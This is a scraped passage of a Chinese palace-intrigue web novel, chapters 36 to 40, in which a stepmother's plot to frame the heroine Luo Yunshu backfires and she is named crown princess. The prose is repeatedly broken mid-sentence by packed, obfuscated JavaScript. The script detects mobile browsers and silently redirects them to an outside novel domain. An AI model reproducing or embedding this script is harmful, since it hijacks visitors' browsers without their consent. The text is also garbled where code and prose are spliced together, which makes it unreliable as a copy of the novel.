p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429508|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙氏一拍桌子,震怒道:“那是你亲弟弟,你怎可让他沾染上这样恶毒的字眼?” 洛云舒依旧平静:“母亲,若你没有半分私心,这誓言便不会起效。这个誓言,你敢立吗?” 孙氏看着她,昏黄的眼睛里满是失望:“云舒,你太让我失望了!” 说完,孙氏拂袖而去。 这个誓,她不敢立。 洛云舒眸色凉薄,看都没看孙氏一眼。 她坐好,依旧是该做什么就做什么。 而孙氏回到自己的院子,却是气得摔碎了好几个杯子。 孙玉瑶踩着碎片进来,好言相劝:“姑姑,气大伤身,您可千万得注意自己的身体。” 孙氏拉过她的手:“玉瑶,若云舒有你半分懂事,我也不至于气成这个样子。她实在是不知好歹。” “姑姑,依我看,云舒姐姐只是一时意气罢了。毕竟,之前她一直以为霍少将军喜欢的人是她,如今骤然接受霍少将军心里没她的事实,她自然不服气。说到底,她赌气,不还是因为在乎霍少将军嘛。既然如此,咱们不如帮帮她。” “帮她?”孙氏气得直瞪眼,“就算是再怎么帮她,她也是把我的好心当做驴肝肺。” “姑姑,现在不是闹脾气的时候。您也知道,安国公府那是什么门第,若云舒姐姐一直这样拿乔,他们是会恼的。若是恼起来,那可就什么都没了。身为长辈,您得为云舒姐姐打算才是。” “我为她打算,那也得她领情啊。”孙氏只觉得自己一肚子里的苦水。 孙玉瑶扶着孙氏坐下:“姑姑,做长辈的不就是这个样子吗?哪怕自己受尽千般委屈,也是一定要为自己的孩子好的。” 孙氏感慨:“是这样没错。生个孩子,就要为他操一辈子的心。难为你能懂我。” “姑姑,既然如此,咱们何不帮云舒姐姐一把,促成她和霍少将军的好事?” 说到这个,孙氏一肚子的牢骚:“你以为我不想吗?你姑父也不知是怎么了,这么大的事,竟然完全由着她,不像之前让她殉节的时候那么坚持。云舒向来巧舌如簧,你姑父定是被她蛊惑了。” “姑姑,正因为如此,咱们才更要帮云舒姐姐啊。” “怎么帮?” 孙玉瑶朱唇轻启:“不如创造一个机会,让云舒姐姐再也无法拒绝这门亲事。” 孙氏大喜:“快说,什么法子?” 孙玉瑶凑近,在孙氏耳边低语着什么。 听完,孙氏喜上眉梢:“妙,真是妙啊!此计成了,云舒就再也没理由反对这门婚事了!” 第36章 求您成全我 孙氏和孙玉瑶的谋划,洛云舒自然不知。 不过,她猜测孙氏会做些什么。 然而,让她意外的是,整整一天的时间过去,孙氏那边一直都很安静。 甚至,连孙玉瑶都没来烦她。 这很反常。 无论是孙氏和孙玉瑶,都不是沉得住气的人。 她们现在没有动作,只能说明她们已经在谋划,却没有正式实施。 看来,这二人是打算憋个大招。 洛云舒心里有数,故而并不慌乱。 当晚,洛云舒吃了晚饭没多久就开始犯困,她早早地就灭了灯,睡下了。 大约过了半个时辰,孙氏出现在洛云舒的院子外面。 院门口,有两个守夜的婆子。 两个婆子看到孙氏过来,对视一眼后上前禀报:“夫人,大小姐已经睡下了。” 孙氏冷哼:“那就让她起来。不然,还能让我这个做母亲的白跑一趟不成?” 其中一个婆子上前,言辞恭敬:“夫人且稍等,老奴这就进去通报。” 孙氏却是一耳光扇过去,怒道:“本夫人来看自己的女儿,还用得着你通报?” 说完,孙氏后面走出四个人,一左一右控制住两个守夜的婆子,径直闯了进去。 里面有人阻拦,又很快被控制住。 可,即便是身体被控制,他们还是大声喊着,想让里面的人心生警惕。 然而,奇怪的是,进了洛云舒所住的里院之后,却很安静。 无论是知意还是灵雀,都没有出来。 洛云舒所住的房间,更是漆黑一片。 孙氏侧耳细听,隐隐约约听到了说话的声音。 这让她很兴奋。 这时候,孙玉瑶走了过来。 看到她,孙氏两眼一瞪,把孙玉瑶拉到旁边:“玉瑶,你这个时候过来做什么?你是懂礼的女子,接下来这一幕,你不能看。” “姑姑,这件事是你一力促成的,我毫不知情。若我亲眼看到他负了我,他只会对我更好。姑姑,求您成全我。” 只一瞬,孙氏就明白了孙玉瑶的意思。 她眼睛一亮:“是这个道理。玉瑶,你果然聪明,知道怎么拿捏男人。我有预感,你能拿捏霍少将军一辈子。” “那就借姑姑的吉言了。”孙玉瑶低头,做出害羞的模样。 实则,眼睛里却闪着嫉恨的光。 洛云舒,你我原本都是平平无奇的农家女,谁也不比谁高贵。 可谁让你那穷秀才父亲突然就中了举,官也越做越高,连带着,你也成了我高不可攀的官家小姐。 可明明,你我之前是一样的。 既然如此,我偏要看到你在自己的闺房里偷人,我倒要看看,这样的你,以后还怎么在我面前嘚瑟? 如此想着,孙玉瑶催促孙氏:“姑姑,这就开始吧。您这样做是为了云舒姐姐好,日后她会明白的。” “没错。她原本就心仪霍少将军,不过是碍于面子才屡次拒绝霍少将军的婚事。我这样做,是帮她。不然,她因为年少任性失去这门婚事,以后一定会后悔。” 孙氏这样说服自己之后,立刻朝着身后的人摆了摆手。 她身后有十余个丫鬟婆子立刻走出,朝洛云舒所住的主屋走去。 孙氏紧随其后。 在主屋的门被踹开的瞬间,里屋的灯,亮了。 灯亮了,内室却无人走出来,有一种诡异的安静。 孙氏朝着里面看了一眼,没进去,只大声说道:“云舒,你们穿好衣服再出来,我等着。” 她愿意给霍少远留这个体面。 毕竟,不能真的捉奸在床。 孙玉瑶却有些等不及,推开挡在她面前的人,径直走了进去。 之后,一声清亮的耳光声响起。 继而是孙玉瑶的惨叫声:“洛云舒,你敢打我!” 孙氏立刻走了进去。 正看到洛云舒左右开弓,张开的右手再一次落在孙玉瑶脸上。 孙氏怒了:“云舒,你自己做错了事情,怎么还有脸打玉瑶?” 接连打了孙玉瑶两个耳光之后,洛云舒才看向孙氏,黑眸沉静:“我做错了什么事?” 孙氏把孙玉瑶揽在怀里,冷脸看着洛云舒:“做了就是做了,你休想遮掩。来人,搜!” 等她把霍少远搜出来,看洛云舒还有什么话可说! 洛云舒冷笑着把花瓶扔在冲在最前面的丫鬟头上。 顷刻间,那丫鬟惊叫一声,一脸的血。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洛守礼看着孙氏,视线落在她身后的孙玉瑶身上,神色出奇的平静,有一种风雨欲来的森然:“废话少说,你去搜,和你侄女一起。” “不行。非礼勿视,玉瑶不能看。我自己去搜。” 说完,似乎是怕洛守礼改变主意,孙氏三步并作两步,快步走到洛云舒床前的螺钿柜子前,一把掀开! 第37章 只可惜,你不理解我 就在柜子即将被打开的时候,洛云舒上前,一把按住柜子。 孙氏挑眉看她:“你若是现在认错,我还能给你留个脸面。我是个做母亲的,现在做这件事,我很痛心。只可惜,你不理解我。” 洛云舒摇头:“我没做错什么,更不需要认错。只是,母亲不能这么白白污蔑我。” 孙氏的视线落在洛云舒按着柜子的双手上,声音很冷:“你只要松开手,就能证明你的清白。” “母亲,女儿家的清白,不是谁都能质疑的。您要质疑,就要付出代价。” “你想干什么?”孙氏一脸警惕。 “母亲想打开这个柜子,可以。但,如果打开柜子之后,里面没有出现任何不该出现的东西,就请母亲任由父亲处置,也算是给我一个说法。” 听罢,孙氏看了洛守礼一眼。 但,洛守礼并不说什么。 孙氏的目光重新落在洛云舒身上,满是打量。 她觉得,洛云舒就是心虚了。 今晚,是她亲自接霍少远进来,也是她亲眼看到霍少远进了洛云舒的院子。 更何况,她还在洛云舒的晚饭里加了药,今晚,洛云舒连同她的贴身丫鬟都会睡得很沉。所以,不会有错。 霍少远一定还在这个房间里。 洛云舒提前醒来,大概只是一个意外。 不然,洛云舒何必百般阻拦? 孙氏觉得心里有数,立刻点头:“可以。” 洛云舒立刻把手从柜子上拿开。 孙氏迅速拉开,然而,柜子完全打开的瞬间,孙氏脸上的笑意僵在唇角。 柜子里,只有洛云舒的衣服。 衣服叠得齐齐整整,没有任何能藏人的空间。 纵然看得清清楚楚,孙氏还是不死心,用手戳了戳。 柜子里,的确没有人。 孙氏僵着脸:“不在柜子里,未必就没有可能在其他地方。” “只要母亲能信守承诺,您只管搜。” 洛云舒退开一步,给孙氏留下足够的空间。 靠墙的柜子、屏风后面,甚至是浴房,床底下,孙氏都一一看过。 然而,出乎她意料的是,什么都没有。 孙氏的脸上写满了惊愕。 洛云舒看着孙氏,缓缓道:“母亲,您到底在找什么?” 孙氏觉得不对劲儿。 她明明看着霍少远进了这里。 为什么人就不见了? 她想不通。 这时候,洛守礼怒声道:“大半夜的,在自己女儿房间里做这样的事情,你就不知道羞愧吗?” 孙氏理亏,一时间无言以对。 洛云舒提醒:“父亲,母亲在搜之前承诺,若什么都搜不到,任您处置。” 看着孙氏,洛守礼冷了脸:“自今日起,你待在自己的院子里,没有我的命令,不准出来!” 孙氏大怒:“你要软禁我?” “是。” “我是当家主母,你软禁我,这偌大的府邸迎来送往的,你让何人负责?”紧要关头,孙氏急着彰显自己的重要性。 洛守礼压着怒气:“这管家权,暂且先交给云……” 洛云舒上前一步,打断洛守礼的话:“父亲,女儿最近不得空。宝珠之前也学过掌家,不如,将府中的事务交给她来掌管。她也到了说亲的年纪,正好让她练练手。” 据她所知,孙氏掌家这阵子,花钱大手大脚的。 眼看着,这偌大的府邸就要入不敷出了。 这个烂摊子,她才不会接。 想到洛云舒先前所说的话,洛守礼没有反驳,直接应下。 他立刻吩咐人去孙氏房里,把一应的印信和对牌取出来,明日一早就送到洛宝珠那里去。 听到掌家权交到洛宝珠手里,孙氏叫嚣的声音小了许多。 在她看来,这管家权落在洛宝珠手里,跟落在她手里没什么区别。 一场闹剧进行到现在,也到了该结束的时候。 洛守礼沉着脸,让人把孙氏押出去。 然而,一行人刚出洛云舒的院门,守夜的下人匆匆而来,禀报道:“老爷,小的刚才巡夜,发现有贼人进了表小姐的院子,到现在还没出来。事关表小姐,我等不敢造次,还请老爷示下。” 孙玉瑶惊了:“不,这不可能。我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429510|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院子怎么可能会进人?” 说着,她就急着要回去。 洛守礼瞥了她一眼,吩咐道:“来人,拦住表小姐。” “姑父,为何拦我?” 洛守礼冷声道:“你不聋,就该听得清楚,有贼人进了你的院子。你这会儿过去,是打算自己赤手空拳去跟贼人搏斗不成?” 孙玉瑶求助地看向孙氏。 她隐隐觉得,今晚发生的事情不太对。 本该出现在洛云舒院子里的人没出现,可偏偏这个时候,她的院子却进了人。 这很不寻常。 孙氏正要说什么,却在这时候被周安往她嘴里塞了破布。 塞完,周安就退到了洛守礼身边。 暗夜中,洛守礼的脸色看得并不分明。 他瞥了孙氏一眼:“我知道你关心玉瑶,既然如此,你也一同去看看。别大声嚷嚷,免得惊动了那贼人。” 就这样,一行人往孙玉瑶的院子而去。 孙玉瑶的院子距离孙氏的院子很近,没多久就到了。 这时候,整座院子都很安静。 洛守礼站在院门外下令:“去搜。我倒要看看,哪里来的小**贼,居然敢到我洛府行窃!” 在洛守礼的示意下,周安亲自带人,进去搜查。 没多久,周安回来,脸上还带着一个血红的巴掌印儿。 他捂着脸:“老爷,人搜到了。但是,出了些状况。” “什么状况?” “怕是要您亲自去看看了。” 洛守礼沉着脸,大步而进。 一进孙玉瑶所住的主屋,洛守礼的脸色就更难看了。 因为主屋正中间的桌子上,扔着一件男人的外衣。 这外衣用了上好的天青纱,正是如今京中最时兴的布料,上面绣着如意纹,还滚了一圈的金边,瞧着很是贵气。 旁边的椅子上,还搭着一个玉腰带。 往里间的地上,是雪白的里衣、官靴。 看到官靴,洛守礼的脚步顿了一下。 之后,他转身,看向洛云舒等人:“在外面等着!” 洛守礼一人走了进去。 第38章 洛云舒,是你做的! 这一刻,若不是怕脏了眼睛,洛云舒真想跟进去看看。 要知道,霍少远这会儿,正赤身裸体地躺在孙玉瑶的床上呢。 没错,按着孙氏的安排,这会儿霍少远应该出现在她的床上。 只可惜,她心中警惕。 晚上大厨房送来的饭菜,她一口都没吃。 她连同灵雀、知意、寒霜三人一直警惕着。 直到霍少远借着夜色的遮掩,翻进她的院子。 之后,寒霜出手,打晕霍少远,又趁乱将他塞进孙玉瑶的院子。 这才有了现在这一幕。 很快,里面传来洛守礼和霍少远交涉的声音。 眼下发生这种事,洛守礼是一定要讨些好处的。 在拿到好处之前,他不会放霍少远离开。 毕竟,衣服都在外面,霍少远不可能光溜溜地离开。 过了一会儿,里面的声音渐渐小了。 在霍少远出来之前,周安把洛云舒、孙玉瑶和孙氏请到了隔壁的厢房。 厢房里没有点灯。 洛云舒站在窗口,看着穿戴整齐的霍少远从孙玉瑶的房间里走出来。 在主屋的烛光的映衬下,霍少远脸色铁青。 他几乎是逃一般离开的。 孙玉瑶哭出声,她拽着洛云舒的袖子,哭着质问道:“是你!洛云舒,是你做的!” 洛云舒回身看她:“玉瑶,你说什么呢?人是在你房间里出现的,你不要胡乱攀咬我。” “不,就是你!是你!”最后,孙玉瑶近乎歇斯底里。 洛守礼就是在这个时候进来的。 他进来的瞬间,蜡烛点亮。 摇曳的烛光中,洛守礼冷飕飕的目光扫过孙玉瑶和孙氏,之后,他看向周安,吩咐道:“周安,你出去守着。没有我的吩咐,任何人都不准进来。” “是,老爷。” 周安很快退了出去。 洛守礼上前,亲自取出孙氏嘴里的破布。 “老爷,玉瑶是被诬陷的!”孙氏大声叫屈。 “如果人出现在云舒的房里,你会为云舒叫屈吗?”洛守礼的语气很平静,却有一种淡淡的疯感。 洛云舒看到出来,洛守礼已经在狂怒的边缘。 像是被提醒到,孙氏立刻大声叫嚷:“老爷,人原本就应该出现在云舒房里。玉瑶虽然和霍少将军两情相悦,但是她从来不会做有伤风化的事情!” “这话说的真好。你侄女冰清玉洁,我女儿就会做有伤风化的事情?” “老爷,不是这样的。你是被云舒算计了,她向来诡计多端……” 啪! 孙氏的话没说完,脸上就挨了结结实实的一个耳光。 打完之后,洛守礼看着孙氏,语气缓慢却坚定:“我要休妻。” “休妻?你要休我?我为你生了两个女儿,一个儿子,你怎能休我?” 洛守礼却不答话,只看向洛云舒:“为父若这个时候休妻,是否会影响你的事?” “影响不大。但目前来说,还是暂时软禁。休妻的事情,暂且缓一缓。” “好。”洛守礼点了头,随后看向孙玉瑶,“你做出这种事,府里没办法留你。刚才霍少远已经承诺,明日会派府中的下人接你出去,找个地方安置你。” “找个地方安置我?”孙玉瑶不敢相信。 找个地方安置她,而不是直接将她接到安国公府,这就意味着,是要她做外室。 外室,比妾室更低贱。 孙玉瑶怕了,她抓住孙氏的胳膊,连声哀求:“姑姑,您救救我,救救我!” 孙氏心疼得不行:“老爷,玉瑶是我的亲侄女,你不能这么对她。” 洛守礼却不愿再说,只朝着外面吩咐道:“周安,送夫人回房。她房里的人全部撤出,只留一人伺候。” 周安应了一声,很快从外面进来,带着两个人,反剪住孙氏的双手,往她嘴里塞了破布,把人押走了。 孙玉瑶急着去追,被人拦下。 见求孙氏无果,孙玉瑶跪爬到洛守礼脚下:“姑父,求您了,求您跟霍少将军说说,我不做外室。” “这是霍少将军的决定,老夫决定不了。”说完,洛守礼一甩袖子,径直离开。 孙玉瑶转脸看向洛云舒,红着眼睛质问:“是你做的。” 她不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429511|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在询问,而是肯定。 “孙玉瑶,既然输了,你就该认命。” “不,我不认命。凭什么啊,你我原本是一样的,都是命比草贱的乡下丫头。凭什么你做了官家小姐,我就只能穷一辈子?” 洛云舒冷笑:“心有不甘就要害人,这就是你孙玉瑶做人的准则?” 孙玉瑶不接话,只红着眼睛说道:“洛云舒,我不做平妻了,只做妾。你听话,你嫁给霍少将军,好不好?” “不好。” “我可以告诉霍少将军,当年救了他的人是你。这样一来,他就会对你心存感激,你们还是可以回到从前。” “回不去了。再也回不去了。”洛云舒喃喃着,唇角勾起一抹冷笑。 有些事,再也回不去了。 犹如,破镜再难重圆。 洛云舒居高临下,看着跪趴在地上的孙玉瑶,缓缓道:“知道霍少远为何要把你安置在府外,而不是接你回安国公府吗?” 孙玉瑶咬着下唇:“他要让我做他的外室。” “不,你错了。”洛云舒摇头,似乎很有耐心地解释,“他现在不接你回去,是因为他还没有正妻。世家大族,不会在娶正妻之前纳妾,不然,他娶不到好人家的姑娘。所以,你还是有希望的,做妾的希望。” 说到最后,洛云舒勾唇,笑了。 霍少远最会权衡利弊。 他在这个时候选择让孙玉瑶受委屈,那这委屈,她就要一直受着了。 至于他们以后如何,洛云舒静观其变。 隔日一早,霍少远就派了人来,接孙玉瑶出府。 他自己没露面。 孙玉瑶原本是很伤心的,但是上了马车看到霍少远,她开心坏了:“少远哥哥!” 霍少远冷着脸应了一声:“嗯。昨晚,是洛云舒算计了我。” “是,一定是她。”孙玉瑶忙不迭道。 “看来,她是打定了主意不肯嫁我。既然如此,我还偏就要让她嫁给我!” 孙玉瑶欣喜道:“少远哥哥,你有办法?” “当然。”霍少远攥紧双拳,面目阴狠,“这一次,我会让洛云舒无法拒绝!” 第39章 有圣旨到! 孙玉瑶有些担忧:“少远哥哥,云舒姐姐一向聪明,我担心她不肯就范。” “不嫁我,那她就死。” 孙玉瑶手指一颤,彻底放了心。 …… 洛府。 得知霍少远接走孙玉瑶之后就去了三皇子府,洛云舒微微蹙眉。 看来,霍少远是去找三皇子搬救兵了。 以她对霍少远的了解,昨日他受了那样的**,心里必定憋着一股子火。 在这样的情况下,他一定会想个法子,让她无法再拒绝嫁给他。 这样的法子,多半是请陛下赐婚。 一旦陛下赐婚,事情将没有任何转圜的余地。 只是,要想让陛下赐婚,也不是那么容易的事情。 毕竟,霍少远要想得到陛下的赐婚,一定会通过三皇子。 而三皇子未必会同意。 霍少远再次求娶她,是在认亲宴之后。 洛云舒猜测,是三皇子授意霍少远这样做的。 三皇子想争取来自于大长公主的支持,而大长公主又在认亲宴上对洛云舒表现出友好的姿态。 所以,三皇子不会放过这个机会,才让霍少远出面。 要是这样的话,霍少远要强娶她,三皇子大概率不会同意。 只是,这到底是她的终身大事,洛云舒不想出现什么差错。 她不能把自己的未来赌在别人的一念之差上。 她赌不起。 也不想赌。 思来想去,洛云舒盛装打扮,前往大长公主府。 她要拜见大长公主。 一来,给三皇子一个震慑,让他不能随意应了霍少远所求。 二来,她以后是要嫁给裴行渊的,关于这件事,她还需要给大长公主一个交代。 不管怎样,大长公主都在认亲宴上帮了她,她应该心存感激。 见面之后,大长公主依旧很热情。 甚至,还想让婢女叫萧祈安过来。 洛云舒躬身行礼:“长公主殿下,臣女有些话,想单独跟您说。” 大长公主一怔,随后打发人下去。 她脸上带笑,看起来很温柔:“云舒,你有什么话,只管说也就是了。” “长公主殿下帮臣女澄清了传言,臣女无以为报。若日后长公主殿下有任何差遣,臣女万死不辞。” 洛云舒的话说得很委婉。 她说无以为报,是无法承受大长公主的厚爱,无法和萧祈安发生什么。 大长公主是个睿智的,她脸上笑意不减:“云舒,本宫欣赏你的坦诚。但,霍少远并非可以托付终身之人。” “殿下,您误会了。臣女对他无意。” 这话,洛云舒说得无比坦荡。 君若无情,我便休。 上一世,她陷在情爱的泥沼里,没了一条命。 如今重活一世,她终于看清了霍少远这个人。 实则,跳出情爱的泥沼,站在客观的角度去看霍少远,才发现他真的是资质平平。 纵然他身手好,又有智谋,年纪轻轻就有了少将军的美名。 可他性格自负,做事狂妄,这样的人或许会走得很快,但注定走不远。 所以,过往的岁月,不是他好,而是她曾为他,托付满腔爱意。 这一刻,洛云舒脸上带笑,不见丝毫的凄楚。 大长公主看着洛云舒,满目欣赏:“云舒,本宫欣赏你这般敢爱敢恨的性子。即便无缘与你做婆媳,本宫还是希望你时常能来走动走动。毕竟,本宫已经很久没见过你这样的女子了。” “臣女也喜欢长公主殿下这般爽利的性子。” 说着,洛云舒在心里轻轻地舒了一口气。 她还以为她回绝大长公主,大长公主会生气。 毕竟,大长公主地位尊崇,还不曾听说过谁敢忤逆她。 没想到,她居然没生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429512|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外之余,洛云舒对大长公主的钦佩又多了几分。 果然,曾上阵杀敌的女子,胸襟非凡。 话已经说开,今日来又没有别的由头,洛云舒觉得不好再继续待下去,起身告辞。 大长公主没再留她。 但,转身离开的时候,洛云舒能察觉到大长公主的视线落在她身上。 “云舒。” 洛云舒回身,看向大长公主。 大长公主笑容温柔,缓缓道:“云舒,或许,你该学着适当放下心里的防备。” 洛云舒一怔,继而眼眶微热,含泪点头:“臣女多谢大长公主殿下指点。” “去吧。”大长公主眉目温柔,目送她离开。 一时间,洛云舒百感交集。 她如何能不防备? 或许,等她足够强大的时候,也就可以不必再草木皆兵,再去防备谁。 愿,那一日早点到来。 回府的路上,洛云舒的心绪日渐平静。 刚回府,洛云舒就得到消息,三皇子来了。 同来的还有霍少远。 这会儿二人正在正厅和洛守礼会面。 洛云舒正打算找人去探探消息,却看到洛守礼身边的管事周安走了过来。 “大小姐,老爷吩咐,待您回来之后,请您去正厅一趟。有贵客等着。” 洛云舒点头:“好。” 很快,洛云舒戴上帷帽,去了正厅。 这会儿,洛守礼坐在主位,满脸是笑。 三皇子在,洛守礼却端坐主位,足以说明三皇子正在捧他。 而这种吹捧,洛守礼很受用。 看来,这一次洛守礼又把她卖出了一个好价钱。 只不过,换了一个买主。 洛云舒垂在袖子里的手紧紧攥住,她做好了掀桌子的准备。 却在这时听到身后传来一个惊慌失措的声音:“老爷!老爷!有圣旨到!” 第40章 你怎么能嫁给别人? 听到这个声音,洛云舒心里咯噔一声。 难道,三皇子已经求来了赐婚的圣旨? 如此想着,洛云舒迅速看向端坐在正厅里的三皇子,见三皇子惊愕地起身,她就知道,这圣旨不是三皇子求来的。 可,不是他,会是谁? 陛下会有什么圣旨下到洛家来? 这时候,只听得三皇子问道:“来传旨的是哪位公公?” 洛府的下人急忙回话:“奴才不认得。他自称、自称姓苏。” 三皇子顿时倒吸一口凉气:“父皇身边的苏公公?” 陛下身边的苏公公,是大内总管,苏福海。 宫里的太监为了避讳,哪怕是原先姓苏,也是要改姓的。 故而说到苏公公,只可能是苏福海。 洛守礼凑过来,在三皇子耳边恭维道:“殿下果然是大手笔,居然能让苏公公前来传旨。” 三皇子想要说什么,最终却忍住了,他看了洛守礼一眼,吩咐道:“少说这些。速速备下香案,准备接旨!” 洛守礼这才收敛了脸上的喜色,匆匆命人去准备。 一切准备就绪后,一位装扮考究的中年男子双手平举着圣旨,走了进来。 他面白无须,身着上好的蜀锦所制的袍子,前襟绣着五福捧寿的图案,气质矜贵不凡。 这位,便是当今陛下身边的大内总管,苏福海,苏公公。 在苏福海身后,还跟着十余个装扮整齐的太监,他们低着头,手里捧着什么。 见状,洛守礼低声斥道:“云舒,这等场合,你还不赶紧退下!” 洛云舒没言语,打算避开洛守礼的视线。 却在这时候听苏公公叫她:“这位便是洛大小姐吧?” “是。”洛云舒回身,微施一礼,“见过苏公公。” 苏福海连忙还礼:“洛大小姐,老奴可不敢受您的礼。请您近前来,这圣旨是给您的。” 洛云舒走上前去,心中略有不安。 这时,眼角的余光里,洛云舒看到在苏福海身后,小太监手里捧着的托盘上,放着一顶凤飞九天的玉冠,其中,凤嘴里衔着的,正是五颗东珠。 见状,洛云舒的一颗心才算是落到了实处。 裴行渊的动作,比她想象中要快。 洛云舒很快跪下。 洛守礼要到洛云舒前面去,被苏福海阻止:“洛大人,请您跪后面。” 洛守礼虽然不解,但是在苏福海面前,他不敢造次,急忙到洛云舒身后,乖乖跪好。 有圣旨到,哪怕是这圣旨与三皇子和霍少远无关,可他二人既然也在,也是要跪的。 三皇子在看了苏公公一眼,点头示意之后,越过洛云舒,要到她前面去。 却被苏福海拦下:“三殿下,您不可往前。” 霍少远立刻道:“苏公公,您是不是弄错了?按照规矩,位尊者是要跪在最前面的。” 苏福海的脸上仍旧是那标志性的温和笑容,说出的话却是不容置疑:“霍少将军,老奴没弄错。这一次,三殿下确实要跪在后面。” 这下,不仅是霍少远,就连洛守礼也迷惑了。 按理说这圣旨是三皇子求来的,怎会让洛云舒跪在最前面,让三皇子跪到后面去? 这、这不合乎礼数啊! 三皇子也很诧异,就在这时候,他看到了那顶凤冠,整张脸难看得吓人。 他盯着苏福海,不由得倒吸了一口凉气:“若本殿下没看错,那托盘里放着的,是合乎太子妃规制的凤冠吧?” “是。三殿下、霍少将军,请您二位速速跪好。” 三皇子身体僵硬,挪动步子走到洛云舒身后,缓缓跪下。 霍少远却是完全愣在那里。 他猛地转头,看向洛云舒,如遭雷击。 而洛云舒,压根儿就不看他。 “霍少将军,请您速速跪好。”这次,苏福海的语气严厉了不少。 霍少远不敢再造次,立刻在三皇子身后跪好。 苏福海这才清了清嗓子,朗声念道:“奉天承运皇帝,诏曰:洛氏云舒,毓质名门,秉心淑慎,端方有度,堪为太子良配,特封为太子妃。于六月初八与太子完婚,以正礼成。特此昭告天下,咸使闻之。钦此!” 圣旨宣读完毕后,四周一片寂静。 唯有苏福海声音尖细,显得格外清晰:“洛大小姐,接旨吧!” 洛云舒立刻行大礼,跪伏于地,双手向上托举:“洛云舒,接旨!” “洛大小姐,您请起。”说着,苏福海亲自扶洛云舒起来,又引着洛云舒看向他身后,“这些是合乎太子妃规制的冠服,接下来,您需要着太子妃冠服,去宫中谢恩。” 洛云舒惊愕道:“不是完婚之后才能去谢恩吗?” 按照规制,理应在大婚之后才能去宫中向帝后二人谢恩。 苏福海笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429513|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释:“是太子殿下的意思。他难得动心,大概是想把事情再坐实一些。” 原来,是裴行渊的意思。 看来,他是要造成为爱不顾一切的假象。 洛云舒心中了然,也就不再耽搁。 毕竟,着太子妃朝服之前要沐浴净身,还要整理发髻,留给她的时间并不多。 洛云舒起身,朝着自己的院子走去。 却在这时候,看到跪着的洛守礼一脸呆滞,脸向下,直挺挺地倒了下去。 洛云舒:“……” 苏福海立刻上前,殷勤道:“洛大小姐,您且先去更衣,这里交给老奴。” “有劳苏公公了。” 说完,洛云舒径自离开。 却没留意到,霍少远的目光一直追随着她。 这时,他听到三皇子问苏福海:“苏公公,这册封太子妃的圣旨,怎么就这么突然?” “太子殿下难得春心萌动,陛下怕他再改变主意,故而急切了些。” “太子、春心萌动?”三皇子一脸的不可置信。 霍少远也不信。 趁着苏福海命人照顾洛守礼,霍少远凑近三皇子,低语道:“殿下,这件事不对。” 三皇子回身,恶狠狠地瞪了他一眼,压低了声音吼道:“你以为本殿下看不出来?霍少远,你连个女人都搞不定。日后本殿下还能指望你什么?” 说完,三皇子拂袖而去。 霍少远想去追,可这一刻,他的双腿竟像是灌了铅一般,沉重得很。 他看向洛云舒离开的方向,口中喃喃着:“你怎么能嫁给别人?怎么能?” 另一边,洛云舒有条不紊地沐浴更衣,梳妆,换上太子妃朝服。 做这些的时候,灵雀和知意的手都是抖的。 灵雀又惊又喜:“小姐,奴婢真没想到,您能做太子妃。” “没事,以后慢慢习惯就好了。” 哪怕是一场交易,她也要做到最好。 换好冠服后,洛云舒随着苏福海的指引,一路往宫里去。 到宫门口的时候,马车停了下来。 灵雀和知意先一步下去,要扶着洛云舒下马车。 然而,车帘挑开的瞬间,洛云舒看到了站在马车前的裴行渊。 